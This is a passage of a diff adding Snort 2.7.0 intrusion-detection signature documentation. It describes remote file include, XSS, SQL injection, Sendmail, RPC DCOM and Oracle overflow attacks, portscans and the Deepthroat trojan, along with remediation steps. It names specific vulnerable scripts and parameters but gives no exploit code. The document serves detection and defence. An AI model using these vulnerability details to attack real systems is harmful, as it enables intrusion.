+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000640.txt
+++ snort-2.7.0/doc/signatures/100000640.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000640
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_manager.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_manager.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2249.txt
+++ snort-2.7.0/doc/signatures/2249.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2249
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the ASP application ProductCart.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+It is possible to inject SQL commands into the ASP application 
+ProductCart which could lead to the disclosure of information relating 
+to the underlying database and records contained in that database.
+
+--
+Affected Systems:
+	EarlyImpact ProductCart 2br000, 2, 1.6br003, 1.6br001, 1.6br, 1.6b003, 1.6b002, 1.6b001, 1.6b, 1.6003, 1.6002, 1.5004, 1.5003r, 1.5, 1.5002, 1.5003
+
+--
+Attack Scenarios:
+The attacker can supply SQL commands via a URI to access sensitive information.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Harded the system in the manner recommended by the vendor.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Vendor information:
+http://www.earlyimpact.com/productcart/support/security-alert-070603.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/121-2.txt
+++ snort-2.7.0/doc/signatures/121-2.txt
@@ -0,0 +1,98 @@
+
+
+Rule:
+
+--
+Sid:
+121-2
+
+--
+Summary:
+This event is generated when the pre-processor flow-portscan detects
+network traffic that may constitute an attack. Specifically a sliding
+scale scanner limit exceeded event was generated.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the flow-portscan pre-processor detects
+network traffic that may consititute an attack.
+
+The flow-portscan pre-processor uses a flow based technique to identify
+portscanning in one-to-many and many-to-one scenarios based on flow
+creation in the flow pre-processor.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.flow-portscan in the docs directory
+of the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+detailed instructions and examples on how to tune and use the
+pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Green <cmg@snort.org>
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/1982.txt
+++ snort-2.7.0/doc/signatures/1982.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1982
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2266.txt
+++ snort-2.7.0/doc/signatures/2266.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2266
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000757.txt
+++ snort-2.7.0/doc/signatures/100000757.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000757
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "QTO File Manager" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "delete" parameter in the "qtofm.php" script used by the "QTO File Manager" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using QTO File Manager
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/565.txt
+++ snort-2.7.0/doc/signatures/565.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+565
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/503.txt
+++ snort-2.7.0/doc/signatures/503.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+503
+
+--
+Summary:
+This event is generated when possible non-legitimate traffic is detected
+that should not be allowed through a firewall.
+
+--
+Impact:
+This can be used to pass through a poorly configured firewall.
+
+--
+Detailed Information:
+Traffic from port 20 is normally FTP traffic.  Commands are passed to an
+FTP server over port 21.  In order to download files, a client tells the
+FTP server to connect to the client on port 'X' where 'X' is a port 
+above 1023.  The FTP server then connects to the client on the given 
+port using the source port of 20.  Ports below 1024 are privileged, a 
+legitimate connection from an ftp server should always be to a port 
+above 1023.  Some misconfigured firewalls may blindly allow connections 
+to any port from a source port of 20.
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+An attacker could use a source port of 20 for TCP connections to bypass 
+a poorly configured firewall.  
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Connections from port 20 should only be allowed to ports >=1024.  A 
+better solution would be block this traffic entirely and force FTP 
+clients inside the firewall to use PASV mode.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS06
+
+--
--- snort-2.7.0.orig/doc/signatures/620.txt
+++ snort-2.7.0/doc/signatures/620.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+620
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2262.txt
+++ snort-2.7.0/doc/signatures/2262.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2262
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.7.0.orig/doc/signatures/3333.txt
+++ snort-2.7.0/doc/signatures/3333.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3333
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1380.txt
+++ snort-2.7.0/doc/signatures/1380.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1380
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1478.txt
+++ snort-2.7.0/doc/signatures/1478.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1478
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000727.txt
+++ snort-2.7.0/doc/signatures/100000727.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000727
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Softbiz Banner Exchange" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "city" parameter in the "insertmember.php" script used by the "Softbiz Banner Exchange" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Softbiz Banner Exchange
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3413.txt
+++ snort-2.7.0/doc/signatures/3413.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3413
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000728.txt
+++ snort-2.7.0/doc/signatures/100000728.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000728
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "functions.inc" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "functions.inc" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1880.txt
+++ snort-2.7.0/doc/signatures/1880.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1880
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2811.txt
+++ snort-2.7.0/doc/signatures/2811.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2811
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000492.txt
+++ snort-2.7.0/doc/signatures/100000492.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000492
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "DeluxeBB" application running on a webserver. 
+Access to the file "newpm.php" using a remote file being passed as the 
+"templatefolder" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "templatefolder" parameter in the "newpm.php" script 
+used by the "DeluxeBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DeluxeBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
